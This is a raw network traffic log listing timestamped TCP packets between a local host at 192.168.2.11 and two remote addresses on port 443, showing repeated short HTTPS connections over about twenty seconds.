Jan 11, 2025 05:07:10.877247095 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:10.877278090 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.505568981 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.505647898 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.506221056 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.506273031 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.508270025 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.508285999 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.508559942 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.508610010 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.509159088 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.551342964 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.889087915 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.889178038 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.889246941 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.889323950 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.889323950 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.889523983 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.889578104 CET	443	50042	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:11.889636040 CET	50042	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:11.896256924 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:11.896300077 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:11.896372080 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:11.896606922 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:11.896624088 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:12.530289888 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:12.530389071 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:12.530903101 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:12.530910969 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:12.531120062 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:12.531125069 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:12.958302975 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:12.958365917 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:12.958434105 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:12.958432913 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:12.958482027 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:12.959717989 CET	50043	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:12.959736109 CET	443	50043	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:13.085118055 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.085169077 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:13.085264921 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.085560083 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.085571051 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:13.721992016 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:13.722074032 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.722755909 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:13.722820044 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.725073099 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.725083113 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:13.725349903 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:13.725413084 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.725876093 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:13.767343044 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:14.098041058 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:14.098196030 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:14.098222017 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:14.098277092 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:14.098402023 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:14.098440886 CET	443	50044	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:14.098498106 CET	50044	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:14.106231928 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:14.106336117 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:14.106420040 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:14.106703997 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:14.106745005 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:14.736337900 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:14.736409903 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:14.736974955 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:14.736989021 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:14.737210035 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:14.737219095 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:15.162425041 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:15.162501097 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:15.162566900 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:15.162596941 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:15.162596941 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:15.162679911 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:15.163264990 CET	50045	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:15.163330078 CET	443	50045	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:15.287899017 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.287955999 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:15.288064003 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.288343906 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.288358927 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:15.937148094 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:15.937252998 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.937927008 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:15.937995911 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.939810991 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.939835072 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:15.940145016 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:15.940202951 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.940514088 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:15.983342886 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:16.314312935 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:16.314452887 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:16.314660072 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:16.314706087 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:16.314862967 CET	443	50046	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:16.314918041 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:16.314937115 CET	50046	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:16.328386068 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:16.328448057 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:16.328520060 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:16.328810930 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:16.328829050 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:16.977092028 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:16.977241039 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:16.977818012 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:16.977833033 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:16.978028059 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:16.978034973 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:17.406158924 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:17.406234026 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:17.406301022 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:17.406310081 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:17.406363010 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:17.407238007 CET	50047	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:17.407270908 CET	443	50047	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:17.522890091 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:17.522975922 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:17.523077965 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:17.523438931 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:17.523448944 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.179267883 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.179404974 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.180470943 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.180557013 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.182532072 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.182549000 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.182928085 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.182980061 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.183479071 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.231329918 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.563364029 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.563507080 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.563533068 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.563577890 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.563744068 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.563781023 CET	443	50048	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:18.563832045 CET	50048	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:18.570117950 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:18.570147038 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:18.570214987 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:18.570424080 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:18.570431948 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.219172001 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.219260931 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.219851017 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.219856024 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.220056057 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.220062017 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.638195992 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.638228893 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.638300896 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.638318062 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.638365984 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.638793945 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.638838053 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.638844013 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.638889074 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.641180038 CET	50049	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:19.641201019 CET	443	50049	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:19.757005930 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:19.757126093 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:19.757246971 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:19.757791042 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:19.757823944 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.386742115 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.386904955 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.387828112 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.387897968 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.389938116 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.389945984 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.390218973 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.390278101 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.390728951 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.435328960 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.780154943 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.780265093 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.780296087 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.780344009 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.780416965 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.780452013 CET	443	50050	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:20.780502081 CET	50050	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:20.787415981 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:20.787457943 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:20.787534952 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:20.787806988 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:20.787817955 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.423578024 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.423782110 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.424300909 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.424323082 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.424504995 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.424513102 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.853296041 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.853359938 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.853375912 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.853390932 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.853391886 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.853424072 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.853437901 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.853475094 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.854110956 CET	50051	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:21.854130983 CET	443	50051	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:21.975352049 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:21.975397110 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:21.975528002 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:21.975795031 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:21.975804090 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.613111973 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.613348007 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:22.613907099 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.613984108 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:22.616251945 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:22.616271019 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.616584063 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.616652012 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:22.616976976 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:22.659336090 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.998517990 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.998670101 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:22.998845100 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:22.998874903 CET	443	50052	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:22.998929977 CET	50052	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:23.005626917 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:23.005661964 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:23.005716085 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:23.006007910 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:23.006021023 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:23.655395985 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:23.655472040 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:23.656002998 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:23.656013012 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:23.656332970 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:23.656337023 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:24.090867996 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:24.090934038 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:24.091001987 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:24.091033936 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:24.091068029 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:24.091608047 CET	50053	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:24.091630936 CET	443	50053	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:24.209793091 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.209839106 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:24.209904909 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.210422039 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.210436106 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:24.866152048 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:24.866274118 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.866906881 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:24.866971016 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.868776083 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.868789911 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:24.869086027 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:24.869139910 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.869523048 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:24.911349058 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:25.254172087 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:25.254362106 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:25.254375935 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:25.254420042 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:25.254547119 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:25.254580975 CET	443	50054	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:25.254630089 CET	50054	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:25.265667915 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:25.265716076 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:25.265782118 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:25.266012907 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:25.266025066 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:25.922697067 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:25.922759056 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:25.924696922 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:25.924706936 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:25.924854994 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:25.924860001 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:26.347304106 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:26.347379923 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:26.347419977 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:26.347448111 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:26.347460985 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:26.347462893 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:26.347486973 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:26.347512007 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:26.348066092 CET	50055	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:26.348081112 CET	443	50055	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:26.461597919 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:26.461649895 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:26.461713076 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:26.462017059 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:26.462037086 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.110126972 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.110227108 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:27.111222982 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.111284971 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:27.112883091 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:27.112896919 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.113260984 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.113311052 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:27.113595009 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:27.155329943 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.496274948 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.497133970 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.497278929 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:27.497523069 CET	50056	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:27.497543097 CET	443	50056	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:27.526721001 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:27.526786089 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:27.526900053 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:27.527153015 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:27.527168036 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.183888912 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.184058905 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.226393938 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.226423025 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.226622105 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.226629972 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.609543085 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.609606981 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.609617949 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.609639883 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.609658957 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.609699965 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.609699965 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.609745979 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.610491037 CET	50057	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:28.610508919 CET	443	50057	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:28.725166082 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:28.725209951 CET	443	50058	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:28.725267887 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:28.725682974 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:28.725697041 CET	443	50058	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:29.371213913 CET	443	50058	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:29.371296883 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:29.371896982 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:29.371910095 CET	443	50058	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:29.372088909 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:29.372095108 CET	443	50058	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:29.755139112 CET	443	50058	172.217.16.142	192.168.2.11
